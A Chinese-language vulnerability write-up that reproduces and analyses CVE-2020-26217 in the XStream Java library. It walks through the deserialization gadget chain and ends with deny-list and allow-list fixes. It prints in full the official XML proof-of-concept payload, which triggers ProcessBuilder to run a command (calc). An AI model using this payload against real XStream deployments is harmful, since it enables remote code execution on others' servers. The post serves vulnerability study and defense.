前言
Xstream是一個基於java語言的xml操作類庫,同時也是Java對象和XML相互轉換的工具,提供了所有的基礎類型、數組、集合等類型直接轉換的支持。因此XML常用於數據交換、對象序列化。本文將從Xstream的環境搭建到CVE-2020-26217遠程代碼執行漏洞的復現分析做一個記錄。
環境准備
本地環境:idea+jdk8.0
idea新建一個maven項目
在pom.xml文件中添加如下依賴
接着右鍵maven->Reimport下載導入Xstream1.4.13
新建一個demo類來方便調試
import com.thoughtworks.xstream.XStream;
public class XstreamDemo {
public static void main(String[] args){
String xml = "<map>poc</map>";
XStream xstream = new XStream();
xstream.fromXML(xml);
}
}
復現分析
在Xstream的官網已經發布了官方的poc,鏈接:https://x-stream.github.io/CVE-2020-26217.html
內容如下:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
把這段poc替換進我們新建的demo類中的xml,運行后成功彈出了計算器
首先為了觀察整個gadget的調用棧,在poc中可以看出,最后一步會運行到java.lang.ProcessBuilder#start方法,所以直接來到這里下斷點調試
發現調用棧還是很長的,下面一點一點來跟着poc和調用棧分析
先回到最開始的入口來
先把我們的poc作為xml參數傳入fromXML方法,后面接着又調用了XStream#unmarshal()方法,參數為處理后的poc字符輸入流
跟入XStream#unmarshal()方法,后面又調用了AbstractTreeMarshallingStrategy#unmarshal()
后面調用了start(),接着跟入
接着開始進入到convertAnother()方法,也就是xml到java類對象的一系列轉換
經過了幾個convert轉換后,接着調用了MapConvert#unmarshal()方法,先是實例化生成了一個map對象,然后又調用populateMap()把數據封裝到map對象里
跟入putCurrentEntryIntoMap()方法
這里開始調用了hashmap#put()方法
這里的key也就是我們構造的entry類實例對象,查看其屬性,可以發現跟我們的POC是逐一對應的
后面就是相繼調用了hashmap#hash()方法和 NativeString#hashcode()方法
跟入getStringValue()方法,這里的value值是Base64Data類實例化對象,所以接着就調用了Base64Data#toString()方法
跟入Base64Data#toString()后發現又調用了Base64Data#get()方法,跟着直接查看Base64Data#get()方法
跟蹤this.dataHandler
這個變量值,可以看到this.dataHandler.getDataSource().getInputStream()
獲取的就是SequenceInputStream類的實例對象,並以此為參數傳入了ByteArrayOutputStreamEx#readForm()方法
跟入ByteArrayOutputStreamEx#readForm(),這里的is
也就是SequenceInputStream類,所以后面也就是調用了SequenceInputStream#read()方法
在SequenceInputStream#read()方法去讀取inputstream對象全部內容的過程中,就會調用nextStream()方法遍歷其中所有數據
進入到SequenceInputStream#nextStream()方法后,會先循環調用每個Enumeration的nextElement()方法,然后在Enumeration的nextElement()方法中會去遍歷整個迭代器iterator,從而去調用到ServiceRegistry注冊服務類的next()方法
再跟進ServiceRegistry#advance()方法,首先先判斷迭代器的下一個對象是否為空,即調用hasNext()方法,不為空則返回true並進入while循環取出對象;而這里的iter是我們預先構建好的迭代器,返回生成對象elt是processBuilder類,接着在后面的filter也是我們構造的ImageIO類中的一個ContainsFilter內部類,接下來於是也就調用了ImageIO$ContainsFilter#filter()方法
在調試欄中我們查看該ImageIO$ContainsFilter這個內部類里對應的屬性可以看出其實也就是我們poc所構造好的
最后再跟入ImageIO$ContainsFilter#filter()方法,終於在這里實現了反射調用到了ProcessBuilder類的start()方法,另外所需的參數也包含ImageIO$ContainsFilter這個內部類中,而這個類所創建的對象也是可控的,也就是說所需的參數均可控,從而導致了這次的代碼執行漏洞。
這就是這整個調用棧的運行處理過程了,所以這個漏洞總的來說就是因為用戶可以構造xml的惡意輸入,讓Xstream在處理反序列化的時候生成了惡意的對象類ContainsFilter,並通過ImageIO$ContainsFilter#filter()這個gadget去反射調用任意構造好的類方法,比如poc里的processBuilder類的start()方法去啟動一個calc計算器的進程,從而導致了代碼執行漏洞。
修復方案
我們知道了漏洞的根本原因就是惡意xml輸入可以構造出惡意的對象,那么最簡單粗暴的方法的就是將這次gadget的關鍵類拉入黑名單,不過這樣的修復方式往往都是治標不治本,最理想的修復方式就是通過白名單的方式明確控制反序列化對象的類名,不過考慮到一些業務的復雜度,可能白名單是理想但又不夠合適的方式,下面兩種實現方式都介紹一下:
1.黑名單方式(簡單粗暴)
XStream xstream = new XStream();
// 首先清除默認設置,然后進行自定義設置
xstream.addPermission(NoTypePermission.NONE);
//將ImageIO類加入黑名單
xstream.denyPermission(new ExplicitTypePermission(new Class[]{ImageIO.class}));
xstream.fromXML(xml);
2.白名單方式(推薦)
XStream xstream = new XStream();
// 首先清除默認設置,然后進行自定義設置
xstream.addPermission(NoTypePermission.NONE);
// 添加一些基礎的類型,如Array、NULL、primitive
xstream.addPermission(ArrayTypePermission.ARRAYS);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
// 添加自定義的類列表
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));